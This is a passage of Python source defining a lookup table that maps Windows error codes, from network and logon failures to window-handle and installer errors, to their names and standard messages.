"ERROR_PROTOCOL_UNREACHABLE", "message": ( "The network location cannot be reached. For information about network" " troubleshooting, see Windows Help." ), }, 0x000004D2: { "code": "ERROR_PORT_UNREACHABLE", "message": ( "No service is operating at the destination network endpoint on the remote" " system." ), }, 0x000004D3: { "code": "ERROR_REQUEST_ABORTED", "message": "The request was aborted.", }, 0x000004D4: { "code": "ERROR_CONNECTION_ABORTED", "message": "The network connection was aborted by the local system.", }, 0x000004D5: { "code": "ERROR_RETRY", "message": "The operation could not be completed. A retry should be performed.", }, 0x000004D6: { "code": "ERROR_CONNECTION_COUNT_LIMIT", "message": ( "A connection to the server could not be made because the limit on the" " number of concurrent connections for this account has been reached." ), }, 0x000004D7: { "code": "ERROR_LOGIN_TIME_RESTRICTION", "message": ( "Attempting to log on during an unauthorized time of day for this account." ), }, 0x000004D8: { "code": "ERROR_LOGIN_WKSTA_RESTRICTION", "message": "The account is not authorized to log on from this station.", }, 0x000004D9: { "code": "ERROR_INCORRECT_ADDRESS", "message": "The network address could not be used for the operation requested.", }, 0x000004DA: { "code": "ERROR_ALREADY_REGISTERED", "message": "The service is already registered.", }, 0x000004DB: { "code": "ERROR_SERVICE_NOT_FOUND", "message": "The specified service does not exist.", }, 0x000004DC: { "code": "ERROR_NOT_AUTHENTICATED", "message": ( "The operation being requested was not performed because the user has not" " been authenticated." ), }, 0x000004DD: { "code": "ERROR_NOT_LOGGED_ON", "message": ( "The operation being requested was not performed because the user has not" " logged on to the network. The specified service does not exist." ), }, 0x000004DE: { "code": "ERROR_CONTINUE", "message": "Continue with work in progress.", }, 0x000004DF: { "code": "ERROR_ALREADY_INITIALIZED", "message": ( "An attempt was made to perform an initialization operation when" " initialization has already been completed." ), }, 0x000004E0: {"code": "ERROR_NO_MORE_DEVICES", "message": "No more local devices."}, 0x000004E1: { "code": "ERROR_NO_SUCH_SITE", "message": "The specified site does not exist.", }, 0x000004E2: { "code": "ERROR_DOMAIN_CONTROLLER_EXISTS", "message": "A domain controller with the specified name already exists.", }, 0x000004E3: { "code": "ERROR_ONLY_IF_CONNECTED", "message": ( "This operation is supported only when you are connected to the server." ), }, 0x000004E4: { "code": "ERROR_OVERRIDE_NOCHANGES", "message": ( "The group policy framework should call the extension even if there are no" " changes." ), }, 0x000004E5: { "code": "ERROR_BAD_USER_PROFILE", "message": "The specified user does not have a valid profile.", }, 0x000004E6: { "code": "ERROR_NOT_SUPPORTED_ON_SBS", "message": ( "This operation is not supported on a computer running Windows Server 2003" " operating system for Small Business Server." ), }, 0x000004E7: { "code": "ERROR_SERVER_SHUTDOWN_IN_PROGRESS", "message": "The server machine is shutting down.", }, 0x000004E8: { "code": "ERROR_HOST_DOWN", "message": ( "The remote system is not available. For information about network" " troubleshooting, see Windows Help." ), }, 0x000004E9: { "code": "ERROR_NON_ACCOUNT_SID", "message": "The security identifier provided is not from an account domain.", }, 0x000004EA: { "code": "ERROR_NON_DOMAIN_SID", "message": "The security identifier provided does not have a domain component.", }, 0x000004EB: { "code": "ERROR_APPHELP_BLOCK", "message": ( "AppHelp dialog canceled, thus preventing the application from starting." ), }, 0x000004EC: { "code": "ERROR_ACCESS_DISABLED_BY_POLICY", "message": ( "This program is blocked by Group Policy. For more information, contact" " your system administrator." ), }, 0x000004ED: { "code": "ERROR_REG_NAT_CONSUMPTION", "message": ( "A program attempt to use an invalid register value. Normally caused by an" " uninitialized register. This error is Itanium specific." ), }, 0x000004EE: { "code": "ERROR_CSCSHARE_OFFLINE", "message": "The share is currently offline or does not exist.", }, 0x000004EF: { "code": "ERROR_PKINIT_FAILURE", "message": ( "The Kerberos protocol encountered an error while validating the KDC" " certificate during smartcard logon. There is more information in the" " system event log." ), }, 0x000004F0: { "code": "ERROR_SMARTCARD_SUBSYSTEM_FAILURE", "message": ( "The Kerberos protocol encountered an error while attempting to utilize the" " smartcard subsystem." ), }, 0x000004F1: { "code": "ERROR_DOWNGRADE_DETECTED", "message": ( "The system detected a possible attempt to compromise security. Ensure that" " you can contact the server that authenticated you." ), }, 0x000004F7: { "code": "ERROR_MACHINE_LOCKED", "message": ( "The machine is locked and cannot be shut down without the force option." ), }, 0x000004F9: { "code": "ERROR_CALLBACK_SUPPLIED_INVALID_DATA", "message": "An application-defined callback gave invalid data when called.", }, 0x000004FA: { "code": "ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED", "message": ( "The Group Policy framework should call the extension in the synchronous" " foreground policy refresh." ), }, 0x000004FB: { "code": "ERROR_DRIVER_BLOCKED", "message": "This driver has been blocked from loading.", }, 0x000004FC: { "code": "ERROR_INVALID_IMPORT_OF_NON_DLL", "message": ( "A DLL referenced a module that was neither a DLL nor the process's" " executable image." ), }, 0x000004FD: { "code": "ERROR_ACCESS_DISABLED_WEBBLADE", "message": "Windows cannot open this program because it has been disabled.", }, 0x000004FE: { "code": "ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER", "message": ( "Windows cannot open this program because the license enforcement system" " has been tampered with or become corrupted." ), }, 0x000004FF: { "code": "ERROR_RECOVERY_FAILURE", "message": "A transaction recover failed.", }, 0x00000500: { "code": "ERROR_ALREADY_FIBER", "message": "The current thread has already been converted to a fiber.", }, 0x00000501: { "code": "ERROR_ALREADY_THREAD", "message": "The current thread has already been converted from a fiber.", }, 0x00000502: { "code": "ERROR_STACK_BUFFER_OVERRUN", "message": ( "The system detected an overrun of a stack-based buffer in this" " application. This overrun could potentially allow a malicious user to" " gain control of this application." ), }, 0x00000503: { "code": "ERROR_PARAMETER_QUOTA_EXCEEDED", "message": ( "Data present in one of the parameters is more than the function can" " operate on." ), }, 0x00000504: { "code": "ERROR_DEBUGGER_INACTIVE", "message": ( "An attempt to perform an operation on a debug object failed because the" " object is in the process of being deleted." ), }, 0x00000505: { "code": "ERROR_DELAY_LOAD_FAILED", "message": ( "An attempt to delay-load a .dll or get a function address in a" " delay-loaded .dll failed." ), }, 0x00000506: { "code": "ERROR_VDM_DISALLOWED", "message": ( "%1 is a 16-bit application. You do not have permissions to execute 16-bit" " applications. Check your permissions with your system administrator." ), }, 0x00000507: { "code": "ERROR_UNIDENTIFIED_ERROR", "message": "Insufficient information exists to identify the cause of failure.", }, 0x00000508: { "code": "ERROR_INVALID_CRUNTIME_PARAMETER", "message": "The parameter passed to a C runtime function is incorrect.", }, 0x00000509: { "code": "ERROR_BEYOND_VDL", "message": "The operation occurred beyond the valid data length of the file.", }, 0x0000050A: { "code": "ERROR_INCOMPATIBLE_SERVICE_SID_TYPE", "message": ( "The service start failed because one or more services in the same process" " have an incompatible service SID type setting. A service with a" " restricted service SID type can only coexist in the same process with" " other services with a restricted SID type." ), }, 0x0000050B: { "code": "ERROR_DRIVER_PROCESS_TERMINATED", "message": ( "The process hosting the driver for this device has been terminated." ), }, 0x0000050C: { "code": "ERROR_IMPLEMENTATION_LIMIT", "message": "An operation attempted to exceed an implementation-defined limit.", }, 0x0000050D: { "code": "ERROR_PROCESS_IS_PROTECTED", "message": ( "Either the target process, or the target thread's containing process, is a" " protected process." ), }, 0x0000050E: { "code": "ERROR_SERVICE_NOTIFY_CLIENT_LAGGING", "message": ( "The service notification client is lagging too far behind the current" " state of services in the machine." ), }, 0x0000050F: { "code": "ERROR_DISK_QUOTA_EXCEEDED", "message": "An operation failed because the storage quota was exceeded.", }, 0x00000510: { "code": "ERROR_CONTENT_BLOCKED", "message": "An operation failed because the content was blocked.", }, 0x00000511: { "code": "ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE", "message": ( "A privilege that the service requires to function properly does not exist" " in the service account configuration. The Services Microsoft Management" " Console (MMC) snap-in (Services.msc) and the Local Security Settings MMC" " snap-in (Secpol.msc) can be used to view the service configuration and" " the account configuration." ), }, 0x00000513: { "code": "ERROR_INVALID_LABEL", "message": ( "Indicates a particular SID cannot be assigned as the label of an object." ), }, 0x00000514: { "code": "ERROR_NOT_ALL_ASSIGNED", "message": ( "Not all privileges or groups referenced are assigned to the caller." ), }, 0x00000515: { "code": "ERROR_SOME_NOT_MAPPED", "message": "Some mapping between account names and SIDs was not done.", }, 0x00000516: { "code": "ERROR_NO_QUOTAS_FOR_ACCOUNT", "message": "No system quota limits are specifically set for this account.", }, 0x00000517: { "code": "ERROR_LOCAL_USER_SESSION_KEY", "message": ( "No encryption key is available. A well-known encryption key was returned." ), }, 0x00000518: { "code": "ERROR_NULL_LM_PASSWORD", "message": ( "The password is too complex to be converted to a LAN Manager password. The" " LAN Manager password returned is a null string." ), }, 0x00000519: { "code": "ERROR_UNKNOWN_REVISION", "message": "The revision level is unknown.", }, 0x0000051A: { "code": "ERROR_REVISION_MISMATCH", "message": "Indicates two revision levels are incompatible.", }, 0x0000051B: { "code": "ERROR_INVALID_OWNER", "message": "This SID cannot be assigned as the owner of this object.", }, 0x0000051C: { "code": "ERROR_INVALID_PRIMARY_GROUP", "message": "This SID cannot be assigned as the primary group of an object.", }, 0x0000051D: { "code": "ERROR_NO_IMPERSONATION_TOKEN", "message": ( "An attempt has been made to operate on an impersonation token by a thread" " that is not currently impersonating a client." ), }, 0x0000051E: { "code": "ERROR_CANT_DISABLE_MANDATORY", "message": "The group cannot be disabled.", }, 0x0000051F: { "code": "ERROR_NO_LOGON_SERVERS", "message": ( "There are currently no logon servers available to service the logon" " request." ), }, 0x00000520: { "code": "ERROR_NO_SUCH_LOGON_SESSION", "message": ( "A specified logon session does not exist. It might already have been" " terminated." ), }, 0x00000521: { "code": "ERROR_NO_SUCH_PRIVILEGE", "message": "A specified privilege does not exist.", }, 0x00000522: { "code": "ERROR_PRIVILEGE_NOT_HELD", "message": "A required privilege is not held by the client.", }, 0x00000523: { "code": "ERROR_INVALID_ACCOUNT_NAME", "message": "The name provided is not a properly formed account name.", }, 0x00000524: { "code": "ERROR_USER_EXISTS", "message": "The specified account already exists.", }, 0x00000525: { "code": "ERROR_NO_SUCH_USER", "message": "The specified account does not exist.", }, 0x00000526: { "code": "ERROR_GROUP_EXISTS", "message": "The specified group already exists.", }, 0x00000527: { "code": "ERROR_NO_SUCH_GROUP", "message": "The specified group does not exist.", }, 0x00000528: { "code": "ERROR_MEMBER_IN_GROUP", "message": ( "Either the specified user account is already a member of the specified" " group, or the specified group cannot be deleted because it contains a" " member." ), }, 0x00000529: { "code": "ERROR_MEMBER_NOT_IN_GROUP", "message": ( "The specified user account is not a member of the specified group account." ), }, 0x0000052A: { "code": "ERROR_LAST_ADMIN", "message": ( "The last remaining administration account cannot be disabled or deleted." ), }, 0x0000052B: { "code": "ERROR_WRONG_PASSWORD", "message": ( "Unable to update the password. The value provided as the current password" " is incorrect." ), }, 0x0000052C: { "code": "ERROR_ILL_FORMED_PASSWORD", "message": ( "Unable to update the password. The value provided for the new password" " contains values that are not allowed in passwords." ), }, 0x0000052D: { "code": "ERROR_PASSWORD_RESTRICTION", "message": ( "Unable to update the password. The value provided for the new password" " does not meet the length, complexity, or history requirements of the" " domain." ), }, 0x0000052E: { "code": "ERROR_LOGON_FAILURE", "message": "Logon failure: Unknown user name or bad password.", }, 0x0000052F: { "code": "ERROR_ACCOUNT_RESTRICTION", "message": ( "Logon failure: User account restriction. Possible reasons are blank" " passwords not allowed, logon hour restrictions, or a policy restriction" " has been enforced." ), }, 0x00000530: { "code": "ERROR_INVALID_LOGON_HOURS", "message": "Logon failure: Account logon time restriction violation.", }, 0x00000531: { "code": "ERROR_INVALID_WORKSTATION", "message": "Logon failure: User not allowed to log on to this computer.", }, 0x00000532: { "code": "ERROR_PASSWORD_EXPIRED", "message": "Logon failure: The specified account password has expired.", }, 0x00000533: { "code": "ERROR_ACCOUNT_DISABLED", "message": "Logon failure: Account currently disabled.", }, 0x00000534: { "code": "ERROR_NONE_MAPPED", "message": "No mapping between account names and SIDs was done.", }, 0x00000535: { "code": "ERROR_TOO_MANY_LUIDS_REQUESTED", "message": ( "Too many local user identifiers (LUIDs) were requested at one time." ), }, 0x00000536: { "code": "ERROR_LUIDS_EXHAUSTED", "message": "No more LUIDs are available.", }, 0x00000537: { "code": "ERROR_INVALID_SUB_AUTHORITY", "message": ( "The sub-authority part of an SID is invalid for this particular use." ), }, 0x00000538: { "code": "ERROR_INVALID_ACL", "message": "The ACL structure is invalid.", }, 0x00000539: { "code": "ERROR_INVALID_SID", "message": "The SID structure is invalid.", }, 0x0000053A: { "code": "ERROR_INVALID_SECURITY_DESCR", "message": "The security descriptor structure is invalid.", }, 0x0000053C: { "code": "ERROR_BAD_INHERITANCE_ACL", "message": "The inherited ACL or ACE could not be built.", }, 0x0000053D: { "code": "ERROR_SERVER_DISABLED", "message": "The server is currently disabled.", }, 0x0000053E: { "code": "ERROR_SERVER_NOT_DISABLED", "message": "The server is currently enabled.", }, 0x0000053F: { "code": "ERROR_INVALID_ID_AUTHORITY", "message": ( "The value provided was an invalid value for an identifier authority." ), }, 0x00000540: { "code": "ERROR_ALLOTTED_SPACE_EXCEEDED", "message": "No more memory is available for security information updates.", }, 0x00000541: { "code": "ERROR_INVALID_GROUP_ATTRIBUTES", "message": ( "The specified attributes are invalid, or incompatible with the attributes" " for the group as a whole." ), }, 0x00000542: { "code": "ERROR_BAD_IMPERSONATION_LEVEL", "message": ( "Either a required impersonation level was not provided, or the provided" " impersonation level is invalid." ), }, 0x00000543: { "code": "ERROR_CANT_OPEN_ANONYMOUS", "message": "Cannot open an anonymous level security token.", }, 0x00000544: { "code": "ERROR_BAD_VALIDATION_CLASS", "message": "The validation information class requested was invalid.", }, 0x00000545: { "code": "ERROR_BAD_TOKEN_TYPE", "message": "The type of the token is inappropriate for its attempted use.", }, 0x00000546: { "code": "ERROR_NO_SECURITY_ON_OBJECT", "message": ( "Unable to perform a security operation on an object that has no associated" " security." ), }, 0x00000547: { "code": "ERROR_CANT_ACCESS_DOMAIN_INFO", "message": ( "Configuration information could not be read from the domain controller," " either because the machine is unavailable, or access has been denied." ), }, 0x00000548: { "code": "ERROR_INVALID_SERVER_STATE", "message": ( "The SAM or local security authority (LSA) server was in the wrong state to" " perform the security operation." ), }, 0x00000549: { "code": "ERROR_INVALID_DOMAIN_STATE", "message": ( "The domain was in the wrong state to perform the security operation." ), }, 0x0000054A: { "code": "ERROR_INVALID_DOMAIN_ROLE", "message": "This operation is only allowed for the PDC of the domain.", }, 0x0000054B: { "code": "ERROR_NO_SUCH_DOMAIN", "message": ( "The specified domain either does not exist or could not be contacted." ), }, 0x0000054C: { "code": "ERROR_DOMAIN_EXISTS", "message": "The specified domain already exists.", }, 0x0000054D: { "code": "ERROR_DOMAIN_LIMIT_EXCEEDED", "message": ( "An attempt was made to exceed the limit on the number of domains per" " server." ), }, 0x0000054E: { "code": "ERROR_INTERNAL_DB_CORRUPTION", "message": ( "Unable to complete the requested operation because of either a" " catastrophic media failure or a data structure corruption on the disk." ), }, 0x0000054F: { "code": "ERROR_INTERNAL_ERROR", "message": "An internal error occurred.", }, 0x00000550: { "code": "ERROR_GENERIC_NOT_MAPPED", "message": ( "Generic access types were contained in an access mask that should already" " be mapped to nongeneric types." ), }, 0x00000551: { "code": "ERROR_BAD_DESCRIPTOR_FORMAT", "message": ( "A security descriptor is not in the right format (absolute or" " self-relative)." ), }, 0x00000552: { "code": "ERROR_NOT_LOGON_PROCESS", "message": ( "The requested action is restricted for use by logon processes only. The" " calling process has not registered as a logon process." ), }, 0x00000553: { "code": "ERROR_LOGON_SESSION_EXISTS", "message": ( "Cannot start a new logon session with an ID that is already in use." ), }, 0x00000554: { "code": "ERROR_NO_SUCH_PACKAGE", "message": "A specified authentication package is unknown.", }, 0x00000555: { "code": "ERROR_BAD_LOGON_SESSION_STATE", "message": ( "The logon session is not in a state that is consistent with the requested" " operation." ), }, 0x00000556: { "code": "ERROR_LOGON_SESSION_COLLISION", "message": "The logon session ID is already in use.", }, 0x00000557: { "code": "ERROR_INVALID_LOGON_TYPE", "message": "A logon request contained an invalid logon type value.", }, 0x00000558: { "code": "ERROR_CANNOT_IMPERSONATE", "message": ( "Unable to impersonate using a named pipe until data has been read from" " that pipe." ), }, 0x00000559: { "code": "ERROR_RXACT_INVALID_STATE", "message": ( "The transaction state of a registry subtree is incompatible with the" " requested operation." ), }, 0x0000055A: { "code": "ERROR_RXACT_COMMIT_FAILURE", "message": "An internal security database corruption has been encountered.", }, 0x0000055B: { "code": "ERROR_SPECIAL_ACCOUNT", "message": "Cannot perform this operation on built-in accounts.", }, 0x0000055C: { "code": "ERROR_SPECIAL_GROUP", "message": "Cannot perform this operation on this built-in special group.", }, 0x0000055D: { "code": "ERROR_SPECIAL_USER", "message": "Cannot perform this operation on this built-in special user.", }, 0x0000055E: { "code": "ERROR_MEMBERS_PRIMARY_GROUP", "message": ( "The user cannot be removed from a group because the group is currently the" " user's primary group." ), }, 0x0000055F: { "code": "ERROR_TOKEN_ALREADY_IN_USE", "message": "The token is already in use as a primary token.", }, 0x00000560: { "code": "ERROR_NO_SUCH_ALIAS", "message": "The specified local group does not exist.", }, 0x00000561: { "code": "ERROR_MEMBER_NOT_IN_ALIAS", "message": "The specified account name is not a member of the group.", }, 0x00000562: { "code": "ERROR_MEMBER_IN_ALIAS", "message": "The specified account name is already a member of the group.", }, 0x00000563: { "code": "ERROR_ALIAS_EXISTS", "message": "The specified local group already exists.", }, 0x00000564: { "code": "ERROR_LOGON_NOT_GRANTED", "message": ( "Logon failure: The user has not been granted the requested logon type at" " this computer." ), }, 0x00000565: { "code": "ERROR_TOO_MANY_SECRETS", "message": ( "The maximum number of secrets that can be stored in a single system has" " been exceeded." ), }, 0x00000566: { "code": "ERROR_SECRET_TOO_LONG", "message": "The length of a secret exceeds the maximum length allowed.", }, 0x00000567: { "code": "ERROR_INTERNAL_DB_ERROR", "message": ( "The local security authority database contains an internal inconsistency." ), }, 0x00000568: { "code": "ERROR_TOO_MANY_CONTEXT_IDS", "message": ( "During a logon attempt, the user's security context accumulated too many" " SIDs." ), }, 0x00000569: { "code": "ERROR_LOGON_TYPE_NOT_GRANTED", "message": ( "Logon failure: The user has not been granted the requested logon type at" " this computer." ), }, 0x0000056A: { "code": "ERROR_NT_CROSS_ENCRYPTION_REQUIRED", "message": "A cross-encrypted password is necessary to change a user password.", }, 0x0000056B: { "code": "ERROR_NO_SUCH_MEMBER", "message": ( "A member could not be added to or removed from the local group because the" " member does not exist." ), }, 0x0000056C: { "code": "ERROR_INVALID_MEMBER", "message": ( "A new member could not be added to a local group because the member has" " the wrong account type." ), }, 0x0000056D: { "code": "ERROR_TOO_MANY_SIDS", "message": "Too many SIDs have been specified.", }, 0x0000056E: { "code": "ERROR_LM_CROSS_ENCRYPTION_REQUIRED", "message": ( "A cross-encrypted password is necessary to change this user password." ), }, 0x0000056F: { "code": "ERROR_NO_INHERITANCE", "message": "Indicates an ACL contains no inheritable components.", }, 0x00000570: { "code": "ERROR_FILE_CORRUPT", "message": "The file or directory is corrupted and unreadable.", }, 0x00000571: { "code": "ERROR_DISK_CORRUPT", "message": "The disk structure is corrupted and unreadable.", }, 0x00000572: { "code": "ERROR_NO_USER_SESSION_KEY", "message": "There is no user session key for the specified logon session.", }, 0x00000573: { "code": "ERROR_LICENSE_QUOTA_EXCEEDED", "message": ( "The service being accessed is licensed for a particular number of" " connections. No more connections can be made to the service at this time" " because the service has accepted the maximum number of connections." ), }, 0x00000574: { "code": "ERROR_WRONG_TARGET_NAME", "message": "Logon failure: The target account name is incorrect.", }, 0x00000575: { "code": "ERROR_MUTUAL_AUTH_FAILED", "message": ( "Mutual authentication failed. The server's password is out of date at the" " domain controller." ), }, 0x00000576: { "code": "ERROR_TIME_SKEW", "message": ( "There is a time and/or date difference between the client and server." ), }, 0x00000577: { "code": "ERROR_CURRENT_DOMAIN_NOT_ALLOWED", "message": "This operation cannot be performed on the current domain.", }, 0x00000578: { "code": "ERROR_INVALID_WINDOW_HANDLE", "message": "Invalid window handle.", }, 0x00000579: { "code": "ERROR_INVALID_MENU_HANDLE", "message": "Invalid menu handle.", }, 0x0000057A: { "code": "ERROR_INVALID_CURSOR_HANDLE", "message": "Invalid cursor handle.", }, 0x0000057B: { "code": "ERROR_INVALID_ACCEL_HANDLE", "message": "Invalid accelerator table handle.", }, 0x0000057C: { "code": "ERROR_INVALID_HOOK_HANDLE", "message": "Invalid hook handle.", }, 0x0000057D: { "code": "ERROR_INVALID_DWP_HANDLE", "message": "Invalid handle to a multiple-window position structure.", }, 0x0000057E: { "code": "ERROR_TLW_WITH_WSCHILD", "message": "Cannot create a top-level child window.", }, 0x0000057F: { "code": "ERROR_CANNOT_FIND_WND_CLASS", "message": "Cannot find window class.", }, 0x00000580: { "code": "ERROR_WINDOW_OF_OTHER_THREAD", "message": "Invalid window; it belongs to other thread.", }, 0x00000581: { "code": "ERROR_HOTKEY_ALREADY_REGISTERED", "message": "Hot key is already registered.", }, 0x00000582: { "code": "ERROR_CLASS_ALREADY_EXISTS", "message": "Class already exists.", }, 0x00000583: { "code": "ERROR_CLASS_DOES_NOT_EXIST", "message": "Class does not exist.", }, 0x00000584: { "code": "ERROR_CLASS_HAS_WINDOWS", "message": "Class still has open windows.", }, 0x00000585: {"code": "ERROR_INVALID_INDEX", "message": "Invalid index."}, 0x00000586: { "code": "ERROR_INVALID_ICON_HANDLE", "message": "Invalid icon handle.", }, 0x00000587: { "code": "ERROR_PRIVATE_DIALOG_INDEX", "message": "Using private DIALOG window words.", }, 0x00000588: { "code": "ERROR_LISTBOX_ID_NOT_FOUND", "message": "The list box identifier was not found.", }, 0x00000589: { "code": "ERROR_NO_WILDCARD_CHARACTERS", "message": "No wildcards were found.", }, 0x0000058A: { "code": "ERROR_CLIPBOARD_NOT_OPEN", "message": "Thread does not have a clipboard open.", }, 0x0000058B: { "code": "ERROR_HOTKEY_NOT_REGISTERED", "message": "Hot key is not registered.", }, 0x0000058C: { "code": "ERROR_WINDOW_NOT_DIALOG", "message": "The window is not a valid dialog window.", }, 0x0000058D: { "code": "ERROR_CONTROL_ID_NOT_FOUND", "message": "Control ID not found.", }, 0x0000058E: { "code": "ERROR_INVALID_COMBOBOX_MESSAGE", "message": ( "Invalid message for a combo box because it does not have an edit control." ), }, 0x0000058F: { "code": "ERROR_WINDOW_NOT_COMBOBOX", "message": "The window is not a combo box.", }, 0x00000590: { "code": "ERROR_INVALID_EDIT_HEIGHT", "message": "Height must be less than 256.", }, 0x00000591: { "code": "ERROR_DC_NOT_FOUND", "message": "Invalid device context (DC) handle.", }, 0x00000592: { "code": "ERROR_INVALID_HOOK_FILTER", "message": "Invalid hook procedure type.", }, 0x00000593: { "code": "ERROR_INVALID_FILTER_PROC", "message": "Invalid hook procedure.", }, 0x00000594: { "code": "ERROR_HOOK_NEEDS_HMOD", "message": "Cannot set nonlocal hook without a module handle.", }, 0x00000595: { "code": "ERROR_GLOBAL_ONLY_HOOK", "message": "This hook procedure can only be set globally.", }, 0x00000596: { "code": "ERROR_JOURNAL_HOOK_SET", "message": "The journal hook procedure is already installed.", }, 0x00000597: { "code": "ERROR_HOOK_NOT_INSTALLED", "message": "The hook procedure is not installed.", }, 0x00000598: { "code": "ERROR_INVALID_LB_MESSAGE", "message": "Invalid message for single-selection list box.", }, 0x00000599: { "code": "ERROR_SETCOUNT_ON_BAD_LB", "message": "LB_SETCOUNT sent to non-lazy list box.", }, 0x0000059A: { "code": "ERROR_LB_WITHOUT_TABSTOPS", "message": "This list box does not support tab stops.", }, 0x0000059B: { "code": "ERROR_DESTROY_OBJECT_OF_OTHER_THREAD", "message": "Cannot destroy object created by another thread.", }, 0x0000059C: { "code": "ERROR_CHILD_WINDOW_MENU", "message": "Child windows cannot have menus.", }, 0x0000059D: { "code": "ERROR_NO_SYSTEM_MENU", "message": "The window does not have a system menu.", }, 0x0000059E: { "code": "ERROR_INVALID_MSGBOX_STYLE", "message": "Invalid message box style.", }, 0x0000059F: { "code": "ERROR_INVALID_SPI_VALUE", "message": "Invalid system-wide (SPI_*) parameter.", }, 0x000005A0: { "code": "ERROR_SCREEN_ALREADY_LOCKED", "message": "Screen already locked.", }, 0x000005A1: { "code": "ERROR_HWNDS_HAVE_DIFF_PARENT", "message": ( "All handles to windows in a multiple-window position structure must have" " the same parent." ), }, 0x000005A2: { "code": "ERROR_NOT_CHILD_WINDOW", "message": "The window is not a child window.", }, 0x000005A3: { "code": "ERROR_INVALID_GW_COMMAND", "message": "Invalid GW_* command.", }, 0x000005A4: { "code": "ERROR_INVALID_THREAD_ID", "message": "Invalid thread identifier.", }, 0x000005A5: { "code": "ERROR_NON_MDICHILD_WINDOW", "message": ( "Cannot process a message from a window that is not a multiple document" " interface (MDI) window." ), }, 0x000005A6: { "code": "ERROR_POPUP_ALREADY_ACTIVE", "message": "Pop-up menu already active.", }, 0x000005A7: { "code": "ERROR_NO_SCROLLBARS", "message": "The window does not have scroll bars.", }, 0x000005A8: { "code": "ERROR_INVALID_SCROLLBAR_RANGE", "message": "Scroll bar range cannot be greater than MAXLONG.", }, 0x000005A9: { "code": "ERROR_INVALID_SHOWWIN_COMMAND", "message": "Cannot show or remove the window in the way specified.", }, 0x000005AA: { "code": "ERROR_NO_SYSTEM_RESOURCES", "message": ( "Insufficient system resources exist to complete the requested service." ), }, 0x000005AB: { "code": "ERROR_NONPAGED_SYSTEM_RESOURCES", "message": ( "Insufficient system resources exist to complete the requested service." ), }, 0x000005AC: { "code": "ERROR_PAGED_SYSTEM_RESOURCES", "message": ( "Insufficient system resources exist to complete the requested service." ), }, 0x000005AD: { "code": "ERROR_WORKING_SET_QUOTA", "message": "Insufficient quota to complete the requested service.", }, 0x000005AE: { "code": "ERROR_PAGEFILE_QUOTA", "message": "Insufficient quota to complete the requested service.", }, 0x000005AF: { "code": "ERROR_COMMITMENT_LIMIT", "message": "The paging file is too small for this operation to complete.", }, 0x000005B0: { "code": "ERROR_MENU_ITEM_NOT_FOUND", "message": "A menu item was not found.", }, 0x000005B1: { "code": "ERROR_INVALID_KEYBOARD_HANDLE", "message": "Invalid keyboard layout handle.", }, 0x000005B2: { "code": "ERROR_HOOK_TYPE_NOT_ALLOWED", "message": "Hook type not allowed.", }, 0x000005B3: { "code": "ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION", "message": "This operation requires an interactive window station.", }, 0x000005B4: { "code": "ERROR_TIMEOUT", "message": "This operation returned because the time-out period expired.", }, 0x000005B5: { "code": "ERROR_INVALID_MONITOR_HANDLE", "message": "Invalid monitor handle.", }, 0x000005B6: {"code": "ERROR_INCORRECT_SIZE", "message": "Incorrect size argument."}, 0x000005B7: { "code": "ERROR_SYMLINK_CLASS_DISABLED", "message": "The symbolic link cannot be followed because its type is disabled.", }, 0x000005B8: { "code": "ERROR_SYMLINK_NOT_SUPPORTED", "message": ( "This application does not support the current operation on symbolic links." ), }, 0x000005DC: { "code": "ERROR_EVENTLOG_FILE_CORRUPT", "message": "The event log file is corrupted.", }, 0x000005DD: { "code": "ERROR_EVENTLOG_CANT_START", "message": ( "No event log file could be opened, so the event logging service did not" " start." ), }, 0x000005DE: { "code": "ERROR_LOG_FILE_FULL", "message": "The event log file is full.", }, 0x000005DF: { "code": "ERROR_EVENTLOG_FILE_CHANGED", "message": "The event log file has changed between read operations.", }, 0x0000060E: { "code": "ERROR_INVALID_TASK_NAME", "message": "The specified task name is invalid.", }, 0x0000060F: { "code": "ERROR_INVALID_TASK_INDEX", "message": "The specified task index is invalid.", }, 0x00000610: { "code": "ERROR_THREAD_ALREADY_IN_TASK", "message": "The specified thread is already joining a task.", }, 0x00000641: { "code": "ERROR_INSTALL_SERVICE_FAILURE", "message": ( "The Windows Installer service could not be accessed. This can occur if the" " Windows Installer is not correctly installed. Contact your support" " personnel for assistance." ), }, 0x00000642: { "code": "ERROR_INSTALL_USEREXIT", "message": "User canceled installation.", }, 0x00000643: { "code": "ERROR_INSTALL_FAILURE", "message": "Fatal error during installation.", }, 0x00000644: { "code": "ERROR_INSTALL_SUSPEND", "message": "Installation suspended, incomplete.", }, 0x00000645: { "code": "ERROR_UNKNOWN_PRODUCT", "message": ( "This action is valid only for products that are currently installed." ), }, 0x00000646: { "code": "ERROR_UNKNOWN_FEATURE", "message": "Feature ID not registered.", }, 0x00000647: { "code": "ERROR_UNKNOWN_COMPONENT", "message": "Component ID not registered.", }, 0x00000648: {"code": "ERROR_UNKNOWN_PROPERTY", "message": "Unknown property."}, 0x00000649: { "code": "ERROR_INVALID_HANDLE_STATE", "message": "Handle is in an invalid state.", }, 0x0000064A: { "code": "ERROR_BAD_CONFIGURATION", "message": ( "The configuration data for this product is corrupt. Contact your support" " personnel." ), }, 0x0000064B: { "code": "ERROR_INDEX_ABSENT", "message": "Component qualifier not present.", }, 0x0000064C: { "code": "ERROR_INSTALL_SOURCE_ABSENT", "message": ( "The installation source for this product is not available. Verify that the" " source exists and that you can access it." ), }, 0x0000064D: { "code": "ERROR_INSTALL_PACKAGE_VERSION", "message": ( "This installation package cannot be installed by the Windows Installer" " service. You must install a Windows service pack that contains a newer" " version of the Windows Installer service." ), }, 0x0000064E: { "code": "ERROR_PRODUCT_UNINSTALLED", "message": "Product is uninstalled.", }, 0x0000064F: { "code": "ERROR_BAD_QUERY_SYNTAX", "message": "SQL query syntax invalid or unsupported.", }, 0x00000650: { "code": "ERROR_INVALID_FIELD", "message": "Record field does not exist.", }, 0x00000651: { "code": "ERROR_DEVICE_REMOVED", "message": "The device has been removed.", }, 0x00000652: { "code": "ERROR_INSTALL_ALREADY_RUNNING", "message": ( "Another installation is already in progress. Complete that installation" " before proceeding with this install." ), }, 0x00000653: { "code": "ERROR_INSTALL_PACKAGE_OPEN_FAILED", "message": ( "This installation package could not be opened. Verify that the package" " exists and that you can access it, or contact the application vendor to" " verify that this is a valid Windows Installer package." ), }, 0x00000654: { "code": "ERROR_INSTALL_PACKAGE_INVALID", "message": ( "This installation package could not be 